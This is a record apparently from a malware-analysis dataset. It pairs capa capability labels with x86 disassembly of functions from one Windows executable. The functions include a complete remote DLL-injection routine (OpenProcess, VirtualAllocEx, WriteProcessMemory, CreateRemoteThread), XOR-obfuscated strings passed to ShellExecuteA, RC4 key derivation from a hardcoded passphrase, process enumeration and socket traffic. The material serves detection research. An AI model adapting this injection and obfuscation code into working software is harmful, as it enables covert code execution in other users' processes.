joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b610
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push ecx
push ebx
push esi
push edi
push ecx
push 0
push 0x1fffff
mov esi, edx
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
test edi, edi
jne 0x40b661
mov edx, str.OpenProcess_failed:
mov ecx, 0x4ded10
call fcn.00408b50
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0040d700
push eax
call fcn.00408df0
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b666
sub ecx, edx
push 4
push 0x1000
lea eax, [ecx + 1]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
test ebx, ebx
jne 0x40b6c1
mov edx, str.VirtualAllocEx_failed:
mov ecx, 0x4ded10
call fcn.00408b50
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0040d700
push eax
call fcn.00408df0
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b6c6
sub ecx, edx
push 0
lea eax, [ecx + 1]
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x40b72c
mov edx, str.WriteProcessMemory_failed:
mov ecx, 0x4ded10
call fcn.00408b50
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov ecx, esi
call fcn.0040d700
push eax
call fcn.00408df0
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add esp, 4
push 4
push 0x8000
push 0
push ebx
push edi
call eax
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x40b742
mov edx, str.GetModuleHandle_failed:
jmp 0x40b6e7
push 0x4d1488
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x40b759
mov edx, str.GetProcAddress_failed:
jmp 0x40b6e7
push 0
push 0
push ebx
push eax
push 0
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov esi, eax
test esi, esi
jne 0x40b77a
mov edx, str.CreateRemoteThread_failed:
jmp 0x40b6e7
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 4
push 0x8000
push 0
push ebx
push edi
call eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
call esi
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40d400
Capabilities:
Create thread
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d345
mov eax, dword fs:[0]
push eax
sub esp, 0x10
mov eax, dword [0x4dc100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [0x4dfc70]
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], 0
push dword [esi + 4]
call dword [sym.imp.gdiplus.dll_GdipImageGetFrameDimensionsCount]
test eax, eax
je 0x40d44b
mov dword [esi + 8], eax
mov esi, dword [ebp - 0x14]
mov ecx, 0x10
mov eax, esi
mul ecx
mov ecx, 0xffffffff
cmovb eax, ecx
push eax
call fcn.00474936
mov edi, dword [0x4dfc70]
add esp, 4
mov dword [0x4dfc48], eax
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.gdiplus.dll_GdipImageGetFrameDimensionsList]
test eax, eax
je 0x40d485
mov dword [edi + 8], eax
mov esi, dword [0x4dfc70]
lea eax, [ebp - 0x14]
push eax
push dword [0x4dfc48]
mov dword [ebp - 0x14], 0
push dword [esi + 4]
call dword [sym.imp.gdiplus.dll_GdipImageGetFrameCount]
test eax, eax
je 0x40d4ac
mov dword [esi + 8], eax
mov eax, dword [ebp - 0x14]
mov esi, dword [0x4dfc70]
mov dword [0x4dfc3c], eax
lea eax, [ebp - 0x1c]
push eax
push 0x5100
push dword [esi + 4]
mov dword [ebp - 0x1c], 0
call dword [sym.imp.gdiplus.dll_GdipGetPropertyItemSize]
test eax, eax
je 0x40d4da
mov dword [esi + 8], eax
mov esi, dword [ebp - 0x1c]
push esi
call fcn.0047f841
mov edi, dword [0x4dfc70]
add esp, 4
mov dword [0x4dfc5c], eax
push eax
push esi
push 0x5100
push dword [edi + 4]
call dword [sym.imp.gdiplus.dll_GdipGetPropertyItem]
test eax, eax
je 0x40d508
mov dword [edi + 8], eax
cmp dword [0x4dfc3c], 1
jbe 0x40d574
push str.NOTICED:_GDIHelper::InitializeImage____Image_file_has_more_than_1_frame__its_playable__2_._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 4
mov dword [0x4dfc38], 1
call fcn.004748f3
add esp, 4
mov dword [ebp - 0x1c], eax
mov dword [eax], 0x40cf10
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x40e400
push 0
push 0
call fcn.0047f774
add esp, 0x18
mov dword [ebp - 0x18], eax
test eax, eax
je 0x40d594
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 1
call fcn.0040b490
cmp dword [ebp - 0x14], 0
jne 0x40d58f
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004748e0
mov esp, ebp
pop ebp
ret
call fcn.0047f805
push 6
mov dword [ebp - 0x14], 0
call fcn.00473346
int3
Function at 0x411d70
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using rc4 via winapi
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov ebx, ecx
push 0
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push 0
lea esi, [ebx + 4]
push esi
call edi
test eax, eax
jne 0x411da1
push 8
push 1
push str.Microsoft_Enhanced_Cryptographic_Provider_v1.0
push eax
push esi
call edi
test eax, eax
je 0x411df0
lea edi, [ebx + 0xc]
push edi
push 0
push 0
push 0x8004
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x411df0
push 1
push 0x1d
push str.owsd9012__1as_wpow1033b____12
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x411df0
lea eax, [ebx + 8]
push eax
push 0x800000
push dword [edi]
push 0x6801
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
pop edi
test eax, eax
pop esi
setne al
pop ebx
ret
pop edi
pop esi
xor al, al
pop ebx
ret
Function at 0x411e00
Capabilities:
Read .ini file

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d53d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x38
push esi
push edi
mov eax, dword [0x4dc100]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x34], 0
push str.Path.ini
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x30], 0
movups xmmword [ebp - 0x44], xmm0
call fcn.00409650
lea eax, [edi + 0x18]
mov dword [ebp - 4], 0
cmp dword [eax + 0x14], 0xf
mov ecx, dword [eax + 0x10]
jbe 0x411e76
mov eax, dword [eax]
push ecx
push eax
push 0
lea ecx, [ebp - 0x44]
call fcn.004154c0
mov dword [ebp - 0x1c], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x18], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x2c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x2c]
cmp dword [ebp - 0x18], 0xf
cmova eax, dword [ebp - 0x2c]
push eax
push 0xa
push str.Count
push str.Version
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov ecx, dword [ebp - 0x18]
mov dword [edi + 0x10], eax
cmp ecx, 0xf
jbe 0x411f0e
mov edx, dword [ebp - 0x2c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411f04
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411fb6
push ecx
push edx
call fcn.00474928
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x30]
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0xf
mov byte [ebp - 0x2c], 0
cmp ecx, 0xf
jbe 0x411f57
mov edx, dword [ebp - 0x44]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411f4d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x411fb6
push ecx
push edx
call fcn.00474928
add esp, 8
mov eax, dword [edi + 0x10]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
test eax, eax
js 0x411f75
cmp eax, 0xa
jle 0x411f7c
mov dword [edi + 0x10], 0
mov eax, dword [edi + 0x34]
mov esi, dword [edi + 0x30]
mov dword [ebp - 0x14], eax
cmp esi, eax
je 0x411fa2
nop dword [eax]
push 0
push esi
mov ecx, edi
call fcn.00412b40
add esi, 0x18
cmp esi, dword [ebp - 0x14]
jne 0x411f90
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0047ce51
int3
Function at 0x41f1f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
movzx eax, bl
imul eax, eax, 0x9d
push edi
mov edi, 0x86d
mov dword [ebp + 8], eax
xor eax, eax
test ebx, ebx
jle 0x41f245
mov ecx, dword [ebp + 0x10]
sub dword [ebp + 0xc], ecx
push esi
lea esi, [eax + ecx]
mov ecx, eax
and ecx, 7
inc eax
mov dl, byte [ecx + 0x4dfe58]
mov ecx, dword [ebp + 0xc]
xor dl, byte [esi + ecx]
mov ecx, edi
sar ecx, 8
xor dl, cl
imul edi, edi, 0x87b
xor dl, byte [ebp + 8]
mov ecx, dword [ebp + 0x10]
mov byte [esi], dl
cmp eax, ebx
jl 0x41f216
pop esi
pop edi
pop ebx
pop ebp
ret 0xc
Function at 0x422d30
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
cmp dword [0x4e005c], 2
jne 0x422e85
mov eax, dword [0x4dfca8]
cmp byte [eax + 0x14c], 0
je 0x422e85
push ebx
mov byte [ebp - 0x1c], 0x21
mov al, 0x6e
xor al, byte [ebp - 0x1c]
mov cl, 0x51
xor cl, byte [ebp - 0x1c]
mov bh, 0x44
mov byte [ebp - 0x1b], al
mov ah, 0x4e
mov byte [ebp - 0x1a], cl
mov dl, 0x55
mov cl, byte [ebp - 0x1c]
mov ch, 0x4f
mov byte [ebp - 1], 0x59
xor ah, cl
mov al, byte [ebp - 1]
mov dh, 0xf
xor al, cl
mov byte [ebp - 2], bh
mov byte [ebp - 0x13], al
mov bl, 0x48
mov al, byte [ebp - 2]
xor dl, cl
push 9
push 0
xor al, cl
mov byte [ebp - 0x17], ah
push 0
mov byte [ebp - 0x12], al
xor bl, cl
lea eax, [ebp - 0x1b]
mov byte [ebp - 0x11], 0
push eax
push 0
xor ch, cl
mov dword [0x4dfcbc], 1
xor dh, cl
mov dword [0x4e005c], 1
xor bh, cl
mov byte [ebp - 0x19], dl
push 0
mov byte [ebp - 0x18], bl
mov byte [ebp - 0x16], ch
mov byte [ebp - 0x15], dh
mov byte [ebp - 0x14], bh
mov byte [ebp - 0x11], 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 2
jne 0x422e7c
movaps xmm0, xmmword [0x4d6940]
mov al, 0x23
mov byte [ebp - 0x10], 0x6f
mov cl, 0xe
xor al, byte [ebp - 0x10]
mov ch, 7
mov byte [ebp - 0xf], al
mov dl, 0x1a
mov al, byte [ebp - 0x10]
mov bl, 1
mov ah, 0xc
mov byte [ebp - 7], 0
mov dh, 0xa
mov byte [ebp - 7], 0
mov bh, 0x1d
mov dword [ebp - 0x24], 0x2d362c25
xor cl, al
mov word [ebp - 0x20], 0x6d27
xor ch, al
mov byte [ebp - 0xe], cl
xor dl, al
mov byte [ebp - 0xa], ch
xor bl, al
mov byte [ebp - 0xd], dl
xor ah, al
mov byte [ebp - 0xc], bl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 9], dh
mov byte [ebp - 8], bh
xor ecx, ecx
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x1e], 0
nop dword [eax]
mov al, byte [ebp - 0x34]
xor byte [ebp + ecx - 0x33], al
inc ecx
cmp ecx, 0x15
jb 0x422e50
push 0x40
lea eax, [ebp - 0xf]
mov byte [ebp - 0x1e], 0
push eax
lea eax, [ebp - 0x33]
push eax
push dword [0x4dfc78]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop ebx
mov esp, ebp
pop ebp
ret
push 0
call dword [sym.imp.USER32.dll_PostQuitMessage]
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x424f30
Capabilities:
Encode data using xor
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x168
mov eax, dword [0x4dc100]
xor eax, esp
mov dword [esp + 0x164], eax
push esi
push edi
push 0
push 2
mov dword [esp + 0x48], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [esp + 0x40]
push eax
push esi
mov dword [esp + 0x10], esi
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x425078
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x425078
nop
xorps xmm0, xmm0
mov dword [esp + 0x30], 0
lea ecx, [esp + 0x64]
movaps xmmword [esp + 0x20], xmm0
mov dword [esp + 0x34], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x424fb0
sub ecx, edx
lea eax, [esp + 0x64]
push ecx
push eax
lea ecx, [esp + 0x28]
call fcn.00409650
movaps xmm0, xmmword [0x4d68b0]
xor eax, eax
movups xmmword [esp + 0xc], xmm0
mov word [esp + 0x1c], 0x4e
nop dword [eax]
mov cl, byte [esp + 0xc]
xor byte [esp + eax + 0xd], cl
inc eax
cmp eax, 0x10
jb 0x424fe0
lea edx, [esp + 0xd]
mov byte [esp + 0x1d], 0
lea ecx, [edx + 1]
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x425000
mov edi, dword [esp + 0x34]
lea eax, [esp + 0xd]
mov esi, dword [esp + 0x20]
sub edx, ecx
push edx
mov edx, dword [esp + 0x34]
lea ecx, [esp + 0x24]
cmp edi, 0xf
push eax
cmova ecx, esi
push 0
call fcn.004092b0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x42508e
cmp edi, 0xf
jbe 0x425060
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x425056
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4250ce
push ecx
push esi
call fcn.00474928
add esp, 8
lea eax, [esp + 0x40]
push eax
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x424f90
xor al, al
pop edi
pop esi
mov ecx, dword [esp + 0x164]
xor ecx, esp
call fcn.004748e0
mov esp, ebp
pop ebp
ret
cmp edi, 0xf
jbe 0x4250b8
inc edi
mov eax, esi
cmp edi, 0x1000
jb 0x4250ae
mov esi, dword [eax - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4250ce
push edi
push esi
call fcn.00474928
add esp, 8
mov ecx, dword [esp + 0x16c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.004748e0
mov esp, ebp
pop ebp
ret
call fcn.0047ce51
int3
Function at 0x4290d0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x4dc100]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, edx
push edi
test ecx, ecx
je 0x42925b
mov edx, dword [ecx + 0x48]
test edx, edx
je 0x42925b
cmp esi, dword [ecx + 0x10]
jae 0x42925b
cmp dword [ecx + 0x14], 1
jne 0x42925b
mov eax, dword [edx + 0x10]
mov edi, dword [eax + esi*4]
add edi, dword [edx]
je 0x42925b
test ebx, ebx
je 0x42925b
mov dword [ebx], esi
xorps xmm0, xmm0
mov eax, dword [ecx + 0x48]
movlpd qword [ebp - 0x10], xmm0
mov dword [ebp - 8], 0xffffffff
mov eax, dword [eax + 0x10]
mov eax, dword [eax + esi*4]
mov dword [ebx + 4], eax
movzx eax, word [edi + 4]
mov word [ebx + 8], ax
movzx eax, word [edi + 6]
mov word [ebx + 0xa], ax
movzx eax, word [edi + 8]
mov word [ebx + 0xc], ax
movzx eax, word [edi + 0xa]
mov word [ebx + 0xe], ax
movzx ecx, word [edi + 0xe]
movzx edx, word [edi + 0xc]
mov eax, ecx
shr eax, 9
add eax, 0x50
mov dword [ebp - 0x14], eax
mov eax, ecx
shr eax, 5
and ecx, 0x1f
and eax, 0xf
mov dword [ebp - 0x1c], ecx
dec eax
mov dword [ebp - 0x18], eax
mov eax, edx
shr eax, 0xb
mov dword [ebp - 0x20], eax
mov eax, edx
shr eax, 5
and edx, 0x1f
and eax, 0x3f
add edx, edx
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x28], edx
call fcn.004811a9
mov dword [ebx + 0x10], eax
mov esi, 0x103
mov dword [ebx + 0x14], edx
mov eax, dword [edi + 0x10]
mov dword [ebx + 0x18], eax
mov eax, dword [edi + 0x14]
mov dword [ebx + 0x20], eax
mov dword [ebx + 0x24], 0
mov eax, dword [edi + 0x18]
mov dword [ebx + 0x28], eax
mov dword [ebx + 0x2c], 0
movzx eax, word [edi + 0x24]
mov word [ebx + 0x30], ax
mov eax, dword [edi + 0x26]
mov dword [ebx + 0x34], eax
mov eax, dword [edi + 0x2a]
mov dword [ebx + 0x38], eax
mov dword [ebx + 0x3c], 0
movzx eax, word [edi + 0x1c]
cmp eax, esi
cmovb esi, eax
lea eax, [edi + 0x2e]
push esi
push eax
lea eax, [ebx + 0x44]
push eax
call fcn.00476850
mov byte [ebx + esi + 0x44], 0
mov esi, 0xff
movzx eax, word [edi + 0x20]
cmp eax, esi
cmovb esi, eax
mov dword [ebx + 0x40], esi
movzx ecx, word [edi + 0x1e]
movzx eax, word [edi + 0x1c]
add ecx, edi
add eax, 0x2e
push esi
add eax, ecx
push eax
lea eax, [ebx + 0x148]
push eax
call fcn.00476850
add esp, 0x1c
mov byte [ebx + esi + 0x148], 0
mov eax, 1
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004748e0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004748e0
mov esp, ebp
pop ebp
ret
Function at 0x429bd0
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x800c
call fcn.004755b0
mov eax, dword [0x4dc100]
xor eax, ebp
mov dword [ebp - 4], eax
mov al, byte [ecx]
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x800c], ecx
mov byte [ebp - 0x8005], al
push edi
cmp al, 0x41
jl 0x429c02
cmp al, 0x5a
jle 0x429c08
sub al, 0x61
cmp al, 0x19
ja 0x429c18
cmp byte [ecx + 1], 0x3a
lea edi, [ecx + 1]
jne 0x429c1b
mov ebx, 1
jmp 0x429c1d
lea edi, [ecx + 1]
xor ebx, ebx
push 0x8000
lea eax, [ebp - 0x8004]
push 0
push eax
call fcn.00476480
add esp, 0xc
test ebx, ebx
je 0x429c51
mov al, byte [ebp - 0x8005]
mov esi, 2
mov byte [ebp - 0x8004], al
movzx eax, byte [edi]
mov byte [ebp - 0x8003], al
mov edi, dword [ebp - 0x800c]
add edi, esi
cmp byte [edi], 0
je 0x429caf
nop
cmp esi, 0x7fff
jge 0x429caf
mov al, byte [edi]
cmp al, 0x2f
je 0x429c72
cmp al, 0x5c
jne 0x429c9f
test ebx, ebx
jne 0x429c7c
test esi, esi
jg 0x429c81
jmp 0x429c9f
cmp esi, 2
jle 0x429c9f
lea eax, [ebp - 0x8004]
push eax
call fcn.0047f251
add esp, 4
cmp eax, 0xffffffff
jne 0x429c9f
call fcn.0047ed2e
cmp dword [eax], 0x11
jne 0x429cc2
mov al, byte [edi]
inc edi
mov byte [ebp + esi - 0x8004], al
inc esi
cmp byte [edi], 0
jne 0x429c60
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004748e0
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004748e0
mov esp, ebp
pop ebp
ret
Function at 0x4333c0
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
sub esp, 0x18
mov eax, dword [0x4dc100]
xor eax, esp
mov dword [esp + 0x14], eax
push esi
mov esi, dword [esp + 0x20]
test esi, esi
je 0x43348b
lea eax, [esp + 4]
push eax
push esi
push 2
call fcn.0044e9b0
add esp, 0xc
test eax, eax
jne 0x43348b
lea eax, [esp + 8]
push eax
push esi
push 0x17
call fcn.0044e9b0
add esp, 0xc
test eax, eax
jne 0x43348b
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x433414
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.0044e980
add esp, 0xc
test eax, eax
je 0x433448
sub eax, esi
push eax
push 0x2e
push esi
call fcn.0044e980
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x43344a
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
mov ebx, 0x1505
add edi, esi
cmp esi, edi
jae 0x433476
mov al, byte [esi]
push eax
call fcn.00441d70
movsx ecx, al
inc esi
mov eax, ebx
add esp, 4
shl eax, 5
add eax, ebx
xor ecx, eax
mov ebx, ecx
cmp esi, edi
jb 0x433458
pop edi
movzx eax, bl
pop ebx
pop esi
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.004748e0
add esp, 0x18
ret
mov ecx, dword [esp + 0x18]
xor eax, eax
pop esi
xor ecx, esp
call fcn.004748e0
add esp, 0x18
ret
Function at 0x43e050
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x10c
mov eax, dword [0x4dc100]
xor eax, esp
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0x118]
mov edx, dword [esp + 0x114]
push ebx
mov ebx, dword [esp + 0x114]
mov dword [esp + 8], eax
xor eax, eax
push ebp
mov ebp, dword [esp + 0x128]
mov ecx, dword [ebx + 0x424]
cmp edx, ecx
push esi
sete al
mov esi, 0x440
push edi
lea eax, [eax*4 + 0x420]
mov eax, dword [eax + ebx]
mov dword [esp + 0x10], eax
mov eax, 0x450
cmove esi, eax
mov eax, dword [ebx + 0x540]
add esi, ebx
mov edi, dword [esi + 4]
sub edi, dword [esi + 8]
test byte [eax + 0x40], 3
je 0x43e15e
xor eax, eax
cmp edx, ecx
sete al
lea eax, [eax*4 + 0x430]
cmp dword [eax + ebx], 0x43dc10
jne 0x43e15e
cmp dword [esi], 0
je 0x43e0e8
test edi, edi
je 0x43e15e
push 0
push 0
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [esp + 0x20]
call fcn.0044d1a0
add esp, 0x14
cmp eax, 0xffffffff
je 0x43e15e
test al, 1
je 0x43e15e
mov ecx, dword [esi]
test ecx, ecx
jne 0x43e13b
mov eax, dword [ebx]
mov eax, dword [eax + 0x90c]
add eax, eax
push eax
mov dword [esi + 4], eax
call dword [section..data]
mov edi, dword [esi + 4]
mov ecx, eax
add esp, 4
mov dword [esi], ecx
mov dword [esi + 8], 0
mov dword [esi + 0xc], 0
test ecx, ecx
je 0x43e157
mov eax, dword [esi + 8]
push 0
push edi
add eax, ecx
push eax
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
jle 0x43e15e
add dword [esi + 8], eax
jmp 0x43e15e
mov dword [esi + 4], 0
push 0
push dword [esp + 0x130]
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call dword [sym.imp.WS2_32.dll_send]
mov edi, eax
cmp edi, 0xffffffff
jne 0x43e1c7
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov esi, eax
cmp esi, 0x2733
jne 0x43e198
mov dword [ebp], 0
lea eax, [edi + 0x52]
jmp 0x43e1cc
push 0x100
lea eax, [esp + 0x1c]
push eax
push esi
call fcn.0042aaa0
push eax
push str.Send_failure:__s
push dword [ebx]
call fcn.0043d960
mov eax, dword [ebx]
add esp, 0x18
mov dword [eax + 0xd44], esi
mov eax, 0x37
jmp 0x43e1c9
xor eax, eax
mov dword [ebp], edi
mov ecx, dword [esp + 0x118]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004748e0
add esp, 0x10c
ret

Function at 0x43e5f0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov eax, dword [esp + 4]
cmp byte [eax + 0x46c], 0
je 0x43e60d
push eax
call fcn.00437a10
add esp, 4
test eax, eax
jne 0x43e62c
xor al, al
ret
mov eax, dword [eax + 0x420]
cmp eax, 0xffffffff
je 0x43e60a
push 2
push 1
lea ecx, [esp + 0xc]
push ecx
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x43e60a
mov al, 1
ret
Function at 0x440330
Capabilities:
Get common file path

Disassembly:
push ecx
push ebx
push edi
push 0x4a2674
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
test ebx, ebx
jne 0x44034a
pop edi
pop ebx
pop ecx
ret
push ebp
push esi
push str.LoadLibraryExA
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [esp + 0x18]
mov ebp, eax
push 0x4d152c
push esi
call fcn.004870b0
add esp, 8
test eax, eax
je 0x440392
test ebp, ebp
je 0x440383
push 8
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
test ebp, ebp
je 0x4403b8
push str.AddDllDirectory
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4403b8
push 0x800
push 0
push esi
call ebp
pop esi
pop ebp
mov edi, eax
pop edi
pop ebx
pop ecx
ret
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edx, eax
mov dword [esp + 0x10], edx
test edx, edx
je 0x44046f
mov ecx, esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4403d5
sub ecx, ebx
lea eax, [edx + 1]
add eax, ecx
push eax
call dword [section..data]
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x440465
push dword [esp + 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x440465
mov ecx, ebx
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440407
sub ecx, edx
mov eax, 0x5c
mov word [ecx + ebx], ax
mov ecx, ebx
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x440420
sub ecx, edx
sub ecx, esi
add ecx, ebx
nop dword [eax]
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x440430
test ebp, ebp
je 0x44045c
push 8
push 0
push ebx
call ebp
push ebx
mov edi, eax
call dword [0x4dc004]
add esp, 4
mov eax, edi
pop esi
pop ebp
pop edi
pop ebx
pop ecx
ret
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
push ebx
call dword [0x4dc004]
add esp, 4
pop esi
pop ebp
mov eax, edi
pop edi
pop ebx
pop ecx
ret
Function at 0x4458f0
Capabilities:
Create udp socket

Disassembly:
